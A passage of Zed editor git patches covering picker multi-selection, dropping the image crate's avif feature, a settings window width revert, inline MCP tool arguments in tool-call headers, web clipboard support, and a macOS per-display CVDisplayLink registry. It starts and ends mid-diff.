+
+    fn is_item_selected(&self, ix: usize) -> bool {
+        let Some(search_match) = self.search_match_for_entry(ix) else {
+            return false;
+        };
+        self.selected_matches
+            .iter()
+            .any(|selected| selected == search_match)
+    }
+
+    fn toggle_item_selected(
+        &mut self,
+        ix: usize,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) {
+        // Headers and separators cannot participate in multi-selection.
+        let Some(search_match) = self.search_match_for_entry(ix).cloned() else {
             return;
         };
+        let selected = SelectedMatch(search_match);
+        if let Some(position) = self
+            .selected_matches
+            .iter()
+            .position(|existing| *existing == selected)
+        {
+            self.selected_matches.remove(position);
+        } else {
+            self.selected_matches.push(selected);
+        }
+        cx.notify();
+    }
 
-        let open_task = workspace.update(cx, |workspace, cx| {
-            workspace.open_path_preview(path, None, true, false, true, window, cx)
-        });
+    fn selected_item_count(&self) -> usize {
+        self.selected_matches.len()
+    }
 
-        let row = line_number.saturating_sub(1);
-        cx.spawn_in(window, async move |_, cx| {
-            let item = open_task.await.log_err()?;
-            if let Some(active_editor) = item.downcast::<editor::Editor>() {
-                active_editor
-                    .downgrade()
-                    .update_in(cx, |editor, window, cx| {
-                        editor.go_to_singleton_buffer_point(
-                            text::Point::new(row, column),
-                            window,
-                            cx,
-                        );
-                    })
-                    .log_err();
-            }
-            Some(())
-        })
-        .detach();
+    fn clear_selection(&mut self, _cx: &mut Context<Picker<Self>>) {
+        self.selected_matches.clear();
+    }
 
+    fn confirm_multi(
+        &mut self,
+        _secondary: bool,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) {
+        let selected = std::mem::take(&mut self.selected_matches);
+        if selected.is_empty() {
+            return;
+        }
+        let count = selected.len();
+        for (i, selected_match) in selected.iter().enumerate() {
+            let is_last = i + 1 == count;
+            self.open_match(&selected_match.0, None, is_last, window, cx);
+        }
         cx.emit(DismissEvent);
     }
 
@@ -1093,6 +1236,7 @@ async fn stream_results_to_picker(
                     .unique_files
                     .extend(batch_matches.iter().map(|m| &m.path).cloned());
                 delegate.matches.extend(batch_matches);
+                delegate.prepend_selected_matches();
                 // Rebuild the grouped view and resnap the selection onto a
                 // selectable row (the header/separator rows are not selectable).
                 delegate.rebuild_entries();

From 8e06c323ae063f3d245ea5c283d4bf373ad51db2 Mon Sep 17 00:00:00 2001
From: Karsten <45654430+KMRH47@users.noreply.github.com>
Date: Mon, 13 Jul 2026 14:24:24 +0200
Subject: [PATCH 419/772] Drop the unused avif feature from the image
 dependency (#60897)

# Objective

Every build of zed (and of every downstream gpui consumer) currently
compiles rav1e, a full AV1 video encoder, because `image`'s default
`avif` feature is enabled. That feature only provides `AvifEncoder`;
AVIF *decoding* requires the separate, non-default `avif-native` feature
(dav1d). So AVIF files do not decode anywhere in zed today, nothing
encodes AVIF (`AvifEncoder` has zero references in the repo), and rav1e
plus its support crates are dead weight in every clean build.

## Solution

Pin the workspace `image` dependency to its default feature set minus
`avif`.

No behavior changes: AVIF files fail to decode exactly as before, and
`ImageFormat::Avif` still exists (the enum is not feature-gated), so the
`image_viewer` match arm compiles unchanged. The `"avif"` entry in
gpui's supported-extension list is deliberately left untouched to keep
the diff minimal; loading such files fails identically before and after.

## Testing

- `cargo metadata` node diff (before vs after, all 1832 resolved
packages): the only change in the entire graph is `image` losing
`avif`/`default`/`default-formats`.
- `cargo tree -i rav1e` on the Linux host, plus `--target
aarch64-apple-darwin` and `--target x86_64-pc-windows-msvc`: no reverse
dependencies on any platform.
- `rg -i avif crates/` finds only string labels (an extension list in
`gpui`, a format name in `image_viewer`, an icon mapping in `theme`);
`AvifEncoder` is never referenced.
- `cargo check -p gpui` passes.
- Isolated probe crate depending on image 0.25.10 alone (cold builds,
Linux, 16 threads), default vs default-minus-avif: release drops from
191 to 122 CPU-seconds and 282 to 191 MB of `target/`; debug drops from
75 to 42 CPU-seconds and 549 to 342 MB.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (n/a:
manifest-only change)
- [x] The content adheres to Zed's UI standards (n/a: no UI change)
- [x] Tests cover the new/changed behavior (no behavior change; CI
covers compilation)
- [x] Performance impact has been considered and is acceptable
(build-time improvement only)

---

Release Notes:

- N/A
---
 Cargo.lock |  1 -
 Cargo.toml | 20 +++++++++++++++++++-
 2 files changed, 19 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 0a391ab0855a3f..5fec34525d9406 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -8938,7 +8938,6 @@ dependencies = [
  "qoi",
  "ravif",
  "rayon",
- "rgb",
  "tiff",
  "zune-core",
  "zune-jpeg",
diff --git a/Cargo.toml b/Cargo.toml
index c657ff1aefb58a..90eb3c0c4eeb71 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -617,7 +617,25 @@ http-body = "1.0"
 httparse = "1.10"
 idna = "1.0"
 ignore = "0.4.22"
-image = "0.25.1"
+# image's default features minus "avif", which only adds an encoder (rav1e);
+# decoding AVIF would additionally need the non-default "avif-native" feature.
+image = { version = "0.25.1", default-features = false, features = [
+    "bmp",
+    "dds",
+    "exr",
+    "ff",
+    "gif",
+    "hdr",
+    "ico",
+    "jpeg",
+    "png",
+    "pnm",
+    "qoi",
+    "rayon",
+    "tga",
+    "tiff",
+    "webp",
+] }
 imara-diff = "0.1.8"
 indexmap = { version = "2.7.0", features = ["serde"] }
 indoc = "2"

From 6b2857feab4a13a353858e90cf2cbfc30c13bdd0 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 13 Jul 2026 10:56:23 -0300
Subject: [PATCH 420/772] Revert "settings_ui: Shrink constraint on minimum
 window width (#60786)" (#60903)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Allowing the settings UI to shrink smaller than that size can easily
cause UI states where the whole window becomes unusable. The previously
defined 900px size was defined so that those states did not happen. I
appreciate how having such minimum size can be a bit of a hassle when
the settings window is used with window managers, but given it's such a
transient window (i.e., one which you won't always have open all the
time) I think it's better to stay on the trade-off side of safety here.

As a quick example, it doesn't make sense to me to allow the UI to reach
this state:

<img width="300" alt="Screenshot 2026-07-13 at 9  26@2x"
src="https://github.com/user-attachments/assets/f2aebe21-293b-468f-b03e-37cd7305a9c5"
/>

---

Release Notes:

- N/A
---
 crates/settings_ui/src/settings_ui.rs | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index b3c0b5b337b7eb..96ebc5f34c76f2 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -73,6 +73,9 @@ const HEADER_GROUP_TAB_INDEX: isize = 3;
 const CONTENT_CONTAINER_TAB_INDEX: isize = 4;
 const CONTENT_GROUP_TAB_INDEX: isize = 5;
 
+const SIDEBAR_WIDTH: Pixels = px(226.);
+const CONTENT_MIN_WIDTH: Pixels = px(400.);
+
 actions!(
     settings_editor,
     [
@@ -870,7 +873,11 @@ fn open_settings_editor_with(
                 app_id: Some(app_id.to_owned()),
                 window_decorations: Some(window_decorations),
                 window_min_size: Some(gpui::Size {
-                    width: px(360.0),
+                    // Do not make the settings window thinner than this,
+                    // otherwise, the space used to display the actual content
+                    // gets so small that certain sections grow too tall due
+                    // to intense text wrapping.
+                    width: SIDEBAR_WIDTH + CONTENT_MIN_WIDTH,
                     height: px(240.0),
                 }),
                 window_bounds: Some(WindowBounds::centered(scaled_bounds, cx)),
@@ -3131,7 +3138,7 @@ impl SettingsWindow {
                     cx,
                 );
             }))
-            .w_56()
+            .w(SIDEBAR_WIDTH)
             .h_full()
             .p_2p5()
             .when(cfg!(target_os = "macos"), |this| this.pt_10())

From 8906914149d10208e1080c6d2fe3161c70c17670 Mon Sep 17 00:00:00 2001
From: Ahmed Ghait <me@ahmedibrahim.dev>
Date: Mon, 13 Jul 2026 17:00:40 +0300
Subject: [PATCH 421/772] agent: Show MCP tool primary argument in tool-call
 header (#54604)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Problem

Built-in tools like `Fetch` render their primary argument next to the
tool name in the collapsed tool-call header (e.g. `Fetch
https://example.com`). MCP tools don't — they always show `Run MCP tool
<name>` and the argument is hidden inside the expandable "Raw Input"
JSON block.

For Playwright, fetch, search, or any MCP tool where one argument
carries all the context, this makes every call opaque. You have to click
to expand just to see which URL is being opened or which file is being
read.

Before:

```
⊙ mcp__playwright__open_url_in_browser
  [click to expand]
  Raw Input:
  {
    "url": "https://linkedin.com/in/neuodev"
  }
```

After:

```
⊙ Run MCP tool `mcp__playwright__open_url_in_browser` https://linkedin.com/in/neuodev
```

## Root cause

`ContextServerTool::initial_title` at
`crates/agent/src/tools/context_server_registry.rs` discards the input:

```rust
fn initial_title(&self, _input: serde_json::Value, _cx: &mut App) -> SharedString {
    format!("Run MCP tool `{}`", self.tool.name).into()
}
```

Built-in tools read the input (`fetch_tool.rs`: `format!("Fetch {}",
MarkdownEscaped(&input.url))`) but the generic MCP path never did.

## Change

When the MCP tool's input is a JSON object with exactly one
string-valued field, inline that value next to the tool name. All other
shapes (multi-field objects, non-string values, null/empty input) fall
back to the existing `Run MCP tool <name>` label, so behavior is
unchanged for them.

- Value is truncated at 120 chars with `…` on overflow (char-safe, not
byte-safe — "café" won't panic).
- Value is run through `MarkdownEscaped` so markdown metacharacters
render literally.
- Single-string heuristic was chosen because the MCP spec has no
standard field for a display template, and the common case (`url`,
`path`, `query`, `selector`, `name`) is covered. I considered honoring
`Tool.annotations.title` or `_meta["zed/title"]` as a template — happy
to follow up with that if the team prefers an opt-in mechanism, but
wanted to start with something that works out of the box for every
existing MCP server.

## Tests

Added 10 unit tests in the existing `mod tests` block covering: happy
path, no args, null input, multi-field fallback, non-string fallback,
truncation, markdown escaping, multibyte chars, and empty-string
preservation.

`cargo check -p agent --tests` passes locally. I couldn't run the full
test binary on my machine because `wasmtime-c-api-impl` (a transitive
test-dep) needs `cmake`, but the new code is pure string-manipulation
with no wasm/runtime touch — CI should cover.

## Scope

One file, +127/-3. No behavior change for any tool shape other than
single-string-input MCP tools.

## Per CONTRIBUTING.md

Happy to convert to a discussion first if the team prefers — didn't see
a tracking issue for this. Also filed under CLA (signed).

Release Notes:

- Show MCP tool primary argument in tool header if space allows

---------

Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com>
---
 .../src/tools/context_server_registry.rs      | 130 +++++++++++++++++-
 typos.toml                                    |   4 +-
 2 files changed, 130 insertions(+), 4 deletions(-)

diff --git a/crates/agent/src/tools/context_server_registry.rs b/crates/agent/src/tools/context_server_registry.rs
index 522b5779291f51..808535a713593e 100644
--- a/crates/agent/src/tools/context_server_registry.rs
+++ b/crates/agent/src/tools/context_server_registry.rs
@@ -8,7 +8,11 @@ use gpui::{App, AppContext, AsyncApp, Context, Entity, EventEmitter, SharedStrin
 use language_model::{LanguageModelImage, LanguageModelImageExt, LanguageModelToolResultContent};
 use project::context_server_store::{ContextServerStatus, ContextServerStore};
 use std::sync::Arc;
-use util::ResultExt;
+use util::{ResultExt, markdown::MarkdownEscaped};
+
+/// Maximum number of characters to show from a tool argument in the
+/// collapsed tool-call header. Longer values are truncated with an ellipsis.
+const MAX_INLINE_ARG_LEN: usize = 120;
 
 /// Generates a tool ID for an MCP tool that can be used in settings.
 ///
@@ -310,8 +314,8 @@ impl AnyAgentTool for ContextServerTool {
         acp::ToolKind::Other
     }
 
-    fn initial_title(&self, _input: serde_json::Value, _cx: &mut App) -> SharedString {
-        format!("Run MCP tool `{}`", self.tool.name).into()
+    fn initial_title(&self, input: serde_json::Value, _cx: &mut App) -> SharedString {
+        format_mcp_initial_title(&self.tool.name, &input).into()
     }
 
     fn input_schema(
@@ -474,6 +478,38 @@ impl AnyAgentTool for ContextServerTool {
     }
 }
 
+/// Builds the header label shown for an MCP tool call. When the input is an
+/// object with a single string-valued field, the value is inlined next to the
+/// tool name so the primary argument (e.g. a URL, path, or query) is visible
+/// without expanding the input block — matching the UX of built-in tools like
+/// `Fetch`. All other shapes fall back to the tool name alone.
+fn format_mcp_initial_title(tool_name: &str, input: &serde_json::Value) -> String {
+    if let Some(value) = single_string_arg(input) {
+        let preview = truncate_chars(value, MAX_INLINE_ARG_LEN);
+        format!("Run MCP tool `{}` {}", tool_name, MarkdownEscaped(&preview))
+    } else {
+        format!("Run MCP tool `{}`", tool_name)
+    }
+}
+
+fn single_string_arg(input: &serde_json::Value) -> Option<&str> {
+    let obj = input.as_object()?;
+    if obj.len() != 1 {
+        return None;
+    }
+    obj.values().next()?.as_str()
+}
+
+fn truncate_chars(s: &str, max: usize) -> String {
+    if s.chars().count() <= max {
+        s.to_string()
+    } else {
+        let mut out: String = s.chars().take(max).collect();
+        out.push('…');
+        out
+    }
+}
+
 pub fn get_prompt(
     server_store: &Entity<ContextServerStore>,
     server_id: &ContextServerId,
@@ -531,4 +567,92 @@ mod tests {
 
     // Note: Tests for MCP tool ID collision with built-in tools and permission
     // decisions are in crates/agent/src/tool_permissions.rs to avoid duplication.
+
+    #[test]
+    fn test_format_mcp_initial_title_inlines_single_string_arg() {
+        let input = serde_json::json!({ "url": "https://example.com/page" });
+        assert_eq!(
+            format_mcp_initial_title("open_url_in_browser", &input),
+            "Run MCP tool `open_url_in_browser` https://example.com/page"
+        );
+    }
+
+    #[test]
+    fn test_format_mcp_initial_title_no_args() {
+        let input = serde_json::json!({});
+        assert_eq!(
+            format_mcp_initial_title("cleanup", &input),
+            "Run MCP tool `cleanup`"
+        );
+    }
+
+    #[test]
+    fn test_format_mcp_initial_title_null_input() {
+        assert_eq!(
+            format_mcp_initial_title("cleanup", &serde_json::Value::Null),
+            "Run MCP tool `cleanup`"
+        );
+    }
+
+    #[test]
+    fn test_format_mcp_initial_title_multiple_fields_falls_back() {
+        let input = serde_json::json!({ "x": "a", "y": "b" });
+        assert_eq!(
+            format_mcp_initial_title("do_thing", &input),
+            "Run MCP tool `do_thing`"
+        );
+    }
+
+    #[test]
+    fn test_format_mcp_initial_title_non_string_field_falls_back() {
+        let input = serde_json::json!({ "count": 42 });
+        assert_eq!(
+            format_mcp_initial_title("tick", &input),
+            "Run MCP tool `tick`"
+        );
+    }
+
+    #[test]
+    fn test_format_mcp_initial_title_truncates_long_values() {
+        let long = "x".repeat(MAX_INLINE_ARG_LEN + 50);
+        let input = serde_json::json!({ "q": long });
+        let title = format_mcp_initial_title("search", &input);
+        assert!(
+            title.ends_with('…'),
+            "expected truncation ellipsis, got: {title}"
+        );
+        // Prefix + backticked name + space + MAX chars + ellipsis — no full 170-char value.
+        assert!(title.chars().count() < MAX_INLINE_ARG_LEN + 50);
+    }
+
+    #[test]
+    fn test_format_mcp_initial_title_escapes_markdown_in_value() {
+        let input = serde_json::json!({ "q": "**bold** _italic_" });
+        let title = format_mcp_initial_title("search", &input);
+        // Asterisks and underscores must be escaped so the header renders literally.
+        assert!(title.contains("\\*"), "expected \\*, got: {title}");
+        assert!(title.contains("\\_"), "expected \\_, got: {title}");
+    }
+
+    #[test]
+    fn test_truncate_chars_boundary() {
+        assert_eq!(truncate_chars("abc", 3), "abc");
+        assert_eq!(truncate_chars("abcd", 3), "abc…");
+    }
+
+    #[test]
+    fn test_truncate_chars_handles_multibyte() {
+        // "café" is 4 chars but 5 bytes — byte-based truncation would panic.
+        assert_eq!(truncate_chars("café", 4), "café");
+        assert_eq!(truncate_chars("café", 3), "caf…");
+    }
+
+    #[test]
+    fn test_single_string_arg_ignores_empty_string() {
+        // An empty string is still a string — we inline it rather than fall back,
+        // which lets callers tell "the server sent an empty arg" apart from
+        // "no args at all".
+        let input = serde_json::json!({ "q": "" });
+        assert_eq!(single_string_arg(&input), Some(""));
+    }
 }
diff --git a/typos.toml b/typos.toml
index 1de9c79c6fee9f..b1efdf2f7b0926 100644
--- a/typos.toml
+++ b/typos.toml
@@ -105,6 +105,8 @@ extend-ignore-re = [
     # Abbreviation for foreignObject in mermaid SVG processing
     "fo",
     # Mermaid CSS class name for state diagram composites
-    "composit"
+    "composit",
+    # Used in truncating tests to ensure byte-length vs char like in café
+    "caf…"
 ]
 check-filename = true

From 084b5d21f67cdbe06edd2822ce34e58b3cd774f7 Mon Sep 17 00:00:00 2001
From: Baris Palaska <barispalaska@gmail.com>
Date: Mon, 13 Jul 2026 15:22:44 +0100
Subject: [PATCH 422/772] gpui_web: Implement clipboard write and paste
 (#60890)

# Objective

write_to_clipboard was a no-op and read_from_clipboard returned None.

## Solution

Writes go through the browser's asynchronous Clipboard API,
fire-and-forget, invoked synchronously inside the user's input event so
the user-activation requirement holds.

Reads cannot be implemented the same way: the async clipboard read API
cannot fit read_from_clipboard's synchronous signature. Paste is instead
delivered by a DOM paste listener on the hidden input, whose
ClipboardEvent exposes clipboardData synchronously; the text feeds the
active input handler. This covers keyboard-, menu-bar- and
context-menu-initiated paste. Note the keyboard path requires the paste
chord's keydown to reach the browser unconsumed (apps should not bind
cmd/ctrl-v on web).

## Testing

Tested locally

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/gpui_web/Cargo.toml      |  2 ++
 crates/gpui_web/src/events.rs   | 27 +++++++++++++++++++++++++++
 crates/gpui_web/src/platform.rs | 10 +++++++++-
 3 files changed, 38 insertions(+), 1 deletion(-)

diff --git a/crates/gpui_web/Cargo.toml b/crates/gpui_web/Cargo.toml
index 5980fa5e855214..6ceafc0f3bc1cd 100644
--- a/crates/gpui_web/Cargo.toml
+++ b/crates/gpui_web/Cargo.toml
@@ -35,6 +35,8 @@ raw-window-handle = "0.6"
 wasm_thread = { version = "0.3", features = ["es_modules"], optional = true }
 web-sys = { version = "0.3", features = [
     "console",
+    "Clipboard",
+    "ClipboardEvent",
     "CompositionEvent",
     "CssStyleDeclaration",
     "DataTransfer",
diff --git a/crates/gpui_web/src/events.rs b/crates/gpui_web/src/events.rs
index 46be646cb56f07..5956331ea81609 100644
--- a/crates/gpui_web/src/events.rs
+++ b/crates/gpui_web/src/events.rs
@@ -64,6 +64,7 @@ impl WebWindowInner {
             self.register_dragleave(),
             self.register_key_down(),
             self.register_key_up(),
+            self.register_paste(),
             self.register_composition_start(),
             self.register_composition_update(),
             self.register_composition_end(),
@@ -427,6 +428,32 @@ impl WebWindowInner {
         })
     }
 
+    /// Paste is delivered through the DOM `paste` event rather than
+    /// `Platform::read_from_clipboard`: the browser's asynchronous clipboard
+    /// read API cannot fit that synchronous signature, while `ClipboardEvent`
+    /// exposes `clipboardData` synchronously inside the event. It fires for
+    /// any browser-initiated paste (keyboard, menu bar, context menu).
+    fn register_paste(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+        let this = Rc::clone(self);
+        self.listen_input("paste", move |event: JsValue| {
+            let event: web_sys::ClipboardEvent = event.unchecked_into();
+            let Some(clipboard_data) = event.clipboard_data() else {
+                return;
+            };
+            let Ok(text) = clipboard_data.get_data("text/plain") else {
+                return;
+            };
+            if text.is_empty() {
+                return;
+            }
+
+            event.prevent_default();
+            this.with_input_handler(|handler| {
+                handler.replace_text_in_range(None, &text);
+            });
+        })
+    }
+
     fn register_composition_start(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
         let this = Rc::clone(self);
         self.listen_input("compositionstart", move |_event: JsValue| {
diff --git a/crates/gpui_web/src/platform.rs b/crates/gpui_web/src/platform.rs
index c39723ea5b2e15..f70520d629d59e 100644
--- a/crates/gpui_web/src/platform.rs
+++ b/crates/gpui_web/src/platform.rs
@@ -342,7 +342,15 @@ impl Platform for WebPlatform {
         None
     }
 
-    fn write_to_clipboard(&self, _item: ClipboardItem) {}
+    fn write_to_clipboard(&self, item: ClipboardItem) {
+        if let Some(text) = item.text()
+            && let Some(window) = web_sys::window()
+        {
+            // Fire-and-forget; called synchronously inside the user's input
+            // event, which satisfies the browser's user-activation requirement.
+            drop(window.navigator().clipboard().write_text(&text));
+        }
+    }
 
     fn write_credentials(&self, _url: &str, _username: &str, _password: &[u8]) -> Task<Result<()>> {
         Task::ready(Err(anyhow::anyhow!(

From 96ce8f2a05f8912851e5d20d808fe21f4134bd45 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Mon, 13 Jul 2026 10:30:50 -0400
Subject: [PATCH 423/772] gpui_macos: Replace per-window CVDisplayLinks with a
 per-display registry (#60696)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes ZED-7XR

CVDisplayLink has no safe teardown: `CVDisplayLinkStop` only flags the
io thread to exit "soon" and returns, `CVDisplayLinkRelease` frees the
link immediately, and there is no way to learn when a final output
callback has finished. This produced two distinct use-after-free crash
classes on the display-link thread: the io thread reading the freed
link's internals (`CVHWTime::reset`, worked around by leaking the link
in #32116), and a straggler output callback dereferencing the freed
dispatch source through its context pointer
(`dispatch_source_merge_data`, ZED-7XR). Because we tore down a
`DisplayLink` on every resize tick, window activation, and occlusion
change, the existing workaround also leaked a stopped CVDisplayLink per
teardown, unboundedly.

This replaces per-window links with a static registry holding one
immortal `CVDisplayLink` per display. Windows subscribe to their
display's link with the dispatch source that paces their frames; the
output callback's context is a display id rather than a pointer, so the
only memory it ever dereferences is the registry itself, under its lock.
Links start and stop at subscriber-count edges (so multiple windows on
one display can't interleave starts/stops incorrectly), and a window's
dispatch source lives for the life of the window, is removed from the
registry on close, and is then genuinely released. Both crash classes
become unreachable — the link because it is never released, the source
because a straggler callback either finds it live in the registry or
doesn't find it at all — and there are no leaks and no `mem::forget`.
Since we never hold the registry lock across CoreVideo calls, no lock
cycle through CVDisplayLink's undocumented internal locks is possible;
the module doc comment spells out the invariants.

This supersedes #60481, which fixed ZED-7XR by leaking the dispatch
source on teardown.

Release Notes:

- Fixed a rare crash on macOS when closing, resizing, or switching
between windows, and eliminated a memory leak in display-link teardown
---
 crates/gpui_macos/src/display_link.rs | 299 +++++++++++++++++++++-----
 crates/gpui_macos/src/window.rs       |  25 +--
 2 files changed, 260 insertions(+), 64 deletions(-)

diff --git a/crates/gpui_macos/src/display_link.rs b/crates/gpui_macos/src/display_link.rs
index 468f3d8bde162e..5387cb6e35d209 100644
--- a/crates/gpui_macos/src/display_link.rs
+++ b/crates/gpui_macos/src/display_link.rs
@@ -1,38 +1,241 @@
+//! Frame pacing for macOS windows, built on `CVDisplayLink`.
+//!
+//! CVDisplayLink has no safe teardown: `CVDisplayLinkStop` merely flags the
+//! link's io thread to exit "soon" and returns immediately, and there is no
+//! way to learn when (or whether) a final output callback has finished. Two
+//! crash classes came from ignoring this:
+//!
+//! * releasing the link after `stop` let the still-running io thread read the
+//!   freed link's internals (segfault in `CVHWTime::reset`, fixed by leaking
+//!   the link in #32116);
+//! * releasing the dispatch source that the output callback dereferenced via
+//!   its context pointer let a straggler callback read freed memory (segfault
+//!   in `dispatch_source_merge_data`, Sentry issue ZED-7XR).
+//!
+//! Instead of leaking one link and one source per teardown (and teardown
+//! happens on every resize tick, activation, and occlusion change), we keep a
+//! single immortal `CVDisplayLink` per display in a static registry and have
+//! windows subscribe to it:
+//!
+//! * Links are created lazily and never released, so the release race cannot
+//!   occur. The output callback's context is the display id (an integer, not
+//!   a pointer), and the only memory the callback dereferences is the static
+//!   registry, so a straggler callback after `stop` is a harmless no-op.
+//! * Each window owns one dispatch source for the life of the window. On
+//!   window close it is removed from the registry under the lock (making it
+//!   unreachable from the callback), cancelled, and genuinely released.
+//! * A display's link runs iff it has subscribers; windows never start or
+//!   stop links directly, so interleaved starts/stops of windows sharing a
+//!   display cannot conflict.
+//!
+//! One tradeoff of immortal entries: a link created for a given
+//! `CGDirectDisplayID` is reused forever, including after the display is
+//! unplugged and one reappears with the same id, or after mode/refresh-rate
+//! changes. `CVDisplayLink` looks up display timing dynamically, so a cached
+//! link keeps pacing correctly; if that ever proves untrue the fix is to
+//! also refresh entries from a display-reconfiguration callback, not to
+//! release links (which would reintroduce the teardown race).
+//!
+//! Lock ordering: the output callback runs on the link's io thread and takes
+//! the registry lock, possibly while holding CVDisplayLink-internal locks. To
+//! avoid a lock cycle through those (undocumented) internals, we never call a
+//! CoreVideo function while holding the registry lock. Registry mutations and
+//! link start/stop happen on the main thread only, which keeps the `running`
+//! flag and the link's actual state consistent without holding the lock
+//! across the calls.
+//!
+//! `std::sync::Mutex` rather than `parking_lot` is deliberate: on macOS it is
+//! currently backed by `os_unfair_lock`, whose priority donation resolves
+//! inversions between the high-priority io thread and the main thread. (That
+//! is a std implementation detail, not a guarantee; if it changes, the cost
+//! is added latency under contention, not incorrectness.)
+
 use anyhow::Result;
 use core_graphics::display::CGDirectDisplayID;
 use dispatch2::{
     _dispatch_source_type_data_add, DispatchObject, DispatchQueue, DispatchRetained, DispatchSource,
 };
 use gpui_util::ResultExt;
-use std::ffi::c_void;
+use std::{
+    collections::{BTreeMap, btree_map},
+    ffi::c_void,
+    sync::{Mutex, MutexGuard, PoisonError},
+};
 
-pub struct DisplayLink {
-    display_link: Option<sys::DisplayLink>,
-    frame_requests: DispatchRetained<DispatchSource>,
+static REGISTRY: Mutex<Registry> = Mutex::new(Registry::new());
+
+struct Registry {
+    displays: BTreeMap<CGDirectDisplayID, DisplayEntry>,
+    next_subscriber_id: u64,
 }
 
-impl DisplayLink {
-    pub fn new(
-        display_id: CGDirectDisplayID,
-        data: *mut c_void,
-        callback: extern "C" fn(*mut c_void),
-    ) -> Result<DisplayLink> {
-        unsafe extern "C" fn display_link_callback(
-            _display_link_out: *mut sys::CVDisplayLink,
-            _current_time: *const sys::CVTimeStamp,
-            _output_time: *const sys::CVTimeStamp,
-            _flags_in: i64,
-            _flags_out: *mut i64,
-            frame_requests: *mut c_void,
-        ) -> i32 {
-            unsafe {
-                let frame_requests = &*(frame_requests as *const DispatchSource);
-                frame_requests.merge_data(1);
-                0
+impl Registry {
+    const fn new() -> Self {
+        Registry {
+            displays: BTreeMap::new(),
+            next_subscriber_id: 0,
+        }
+    }
+}
+
+struct DisplayEntry {
+    link: sys::DisplayLink,
+    running: bool,
+    subscribers: Vec<(SubscriberId, DispatchRetained<DispatchSource>)>,
+}
+
+// SAFETY: Both fields wrapping raw pointers are refcounted handles to
+// thread-safe objects that are valid on any thread: `sys::DisplayLink` to a
+// CoreVideo object, and each subscriber's `DispatchRetained<DispatchSource>`
+// to a GCD object (which the display's io thread really does use, calling
+// `merge_data` from the output callback). All mutation of the entry itself
+// is serialized by the registry lock.
+unsafe impl Send for DisplayEntry {}
+
+#[derive(Copy, Clone, PartialEq, Eq)]
+struct SubscriberId(u64);
+
+fn lock_registry() -> MutexGuard<'static, Registry> {
+    // Proceeding past poison is safe here (the map's invariants hold after
+    // any partial mutation), and panicking instead would abort the process
+    // when this is reached from the extern "C" output callback.
+    REGISTRY.lock().unwrap_or_else(PoisonError::into_inner)
+}
+
+fn debug_assert_main_thread() {
+    #[cfg(debug_assertions)]
+    {
+        use objc::{class, msg_send, sel, sel_impl};
+        let is_main_thread: objc::runtime::BOOL =
+            unsafe { msg_send![class!(NSThread), isMainThread] };
+        debug_assert!(
+            is_main_thread == objc::runtime::YES,
+            "display link registry mutations must happen on the main thread; \
+             the registry's lock ordering and state consistency depend on it"
+        );
+    }
+}
+
+unsafe extern "C" fn display_link_output_callback(
+    _display_link_out: *mut sys::CVDisplayLink,
+    _current_time: *const sys::CVTimeStamp,
+    _output_time: *const sys::CVTimeStamp,
+    _flags_in: i64,
+    _flags_out: *mut i64,
+    display_id: *mut c_void,
+) -> i32 {
+    let display_id = display_id as usize as CGDirectDisplayID;
+    let registry = lock_registry();
+    if let Some(entry) = registry.displays.get(&display_id) {
+        for (_, frame_requests) in &entry.subscribers {
+            frame_requests.merge_data(1);
+        }
+    }
+    0
+}
+
+fn subscribe(
+    display_id: CGDirectDisplayID,
+    frame_requests: DispatchRetained<DispatchSource>,
+) -> Result<SubscriberId> {
+    debug_assert_main_thread();
+
+    let needs_link = !lock_registry().displays.contains_key(&display_id);
+    let new_link = if needs_link {
+        // Created outside the registry lock; see the lock ordering note above.
+        Some(unsafe {
+            sys::DisplayLink::new(
+                display_id,
+                display_link_output_callback,
+                display_id as usize as *mut c_void,
+            )?
+        })
+    } else {
+        None
+    };
+
+    let (subscriber_id, link_to_start) = {
+        let mut registry = lock_registry();
+        let registry = &mut *registry;
+        let subscriber_id = SubscriberId(registry.next_subscriber_id);
+        registry.next_subscriber_id += 1;
+        let entry = match (registry.displays.entry(display_id), new_link) {
+            // If an entry appeared since the check above, dropping `new_link`
+            // is safe: a never-started link has no io thread, so releasing it
+            // doesn't race.
+            (btree_map::Entry::Occupied(entry), _) => entry.into_mut(),
+            (btree_map::Entry::Vacant(vacant), Some(link)) => vacant.insert(DisplayEntry {
+                link,
+                running: false,
+                subscribers: Vec::new(),
+            }),
+            (btree_map::Entry::Vacant(_), None) => {
+                // Entries are never removed, so an entry observed above cannot
+                // have disappeared while subscriptions stay on the main thread.
+                anyhow::bail!("display link registry entry vanished for display {display_id}");
+            }
+        };
+        entry.subscribers.push((subscriber_id, frame_requests));
+        let link_to_start = if entry.running {
+            None
+        } else {
+            entry.running = true;
+            // Clone the refcounted handle so the CVDisplayLinkStart call can
+            // happen after the lock is released.
+            Some(entry.link.clone())
